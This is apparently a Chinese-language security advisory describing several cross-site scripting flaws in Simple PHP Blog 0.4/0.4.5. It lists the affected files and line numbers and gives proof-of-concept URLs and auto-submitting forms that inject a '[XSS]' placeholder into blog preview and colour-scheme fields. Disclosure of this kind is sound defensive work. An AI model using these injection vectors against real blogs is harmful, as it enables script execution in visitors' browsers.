Simple PHP Blog多个跨站脚本漏洞


添加时间:
2008-10-02

系统编号:
WAVDB-00868
BUGTRAQ: 15283

影响版本:
Simple PHP Blog 0.4/0.4.5

程序介绍:

Simple PHP Blog是一个采用PHP语言编写的开放源码的免费单用户Blog程序。

漏洞分析:

Simple PHP Blog中存在多个跨站脚本漏洞,如下:

1) preview_cgi.php

preview_cgi.php的第126行没有经过充分过滤便直接向浏览器显示$entry变量。登录后可通过以下URL测试:

http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo">[XSS]

2) preview_cgi.php

preview_cgi.php文件的第129行没有经过充分过滤便直接向浏览器显示$temp_subject变量。登录后可通过以下页面测试:

    <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
        <input name="blog_subject" value='">[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

类似的漏洞也影响preview_cgi.php第158行:

    <form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
    <input name="blog_text" value='</textarea>[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

3) preview_static_cgi.php

preview_static_cgi.php中存在4个类似于preview_cgi.php中的漏洞:

- 73行$entry变量:

    http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo">[XSS]

- 76行$temp_subject变量:

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
        <input name="blog_subject" value='">[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

- 158行$temp_text变量:

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="blog_text" value='</textarea>[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

- 108行,如果没有设置$_GET['entry']的话将$temp_file_name变量设置为$_POST['file_name'],否则设置为$entry(在这种情况下请见73行的漏洞):

    <form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="file_name" value='">[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

4) colors.php

colors.php文件187行的$preset_name和$result变量存在跨站脚本漏洞:

    <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value='"></option></select>[XSS]'/>
        <input name="scheme_file" value="blabla"/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

    <form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value="myscheme"/>
        <input name="scheme_file" value="blabla"/>
        <input name="bg_color" value='">[XSS]'/>
        <input type="submit"/>
    </form>

    <script type="text/javascript">
      document.forms[0].submit();
    </script>

远程攻击者可以利用这些漏洞在用户浏览器中执行任意代码。



解决方案:
厂商补丁:
Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.simplephpblog.com/index.php

信息来源:
<*来源:Nenad Jovanovic (enji@infosys.tuwien.ac.at)

链接:http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt
*>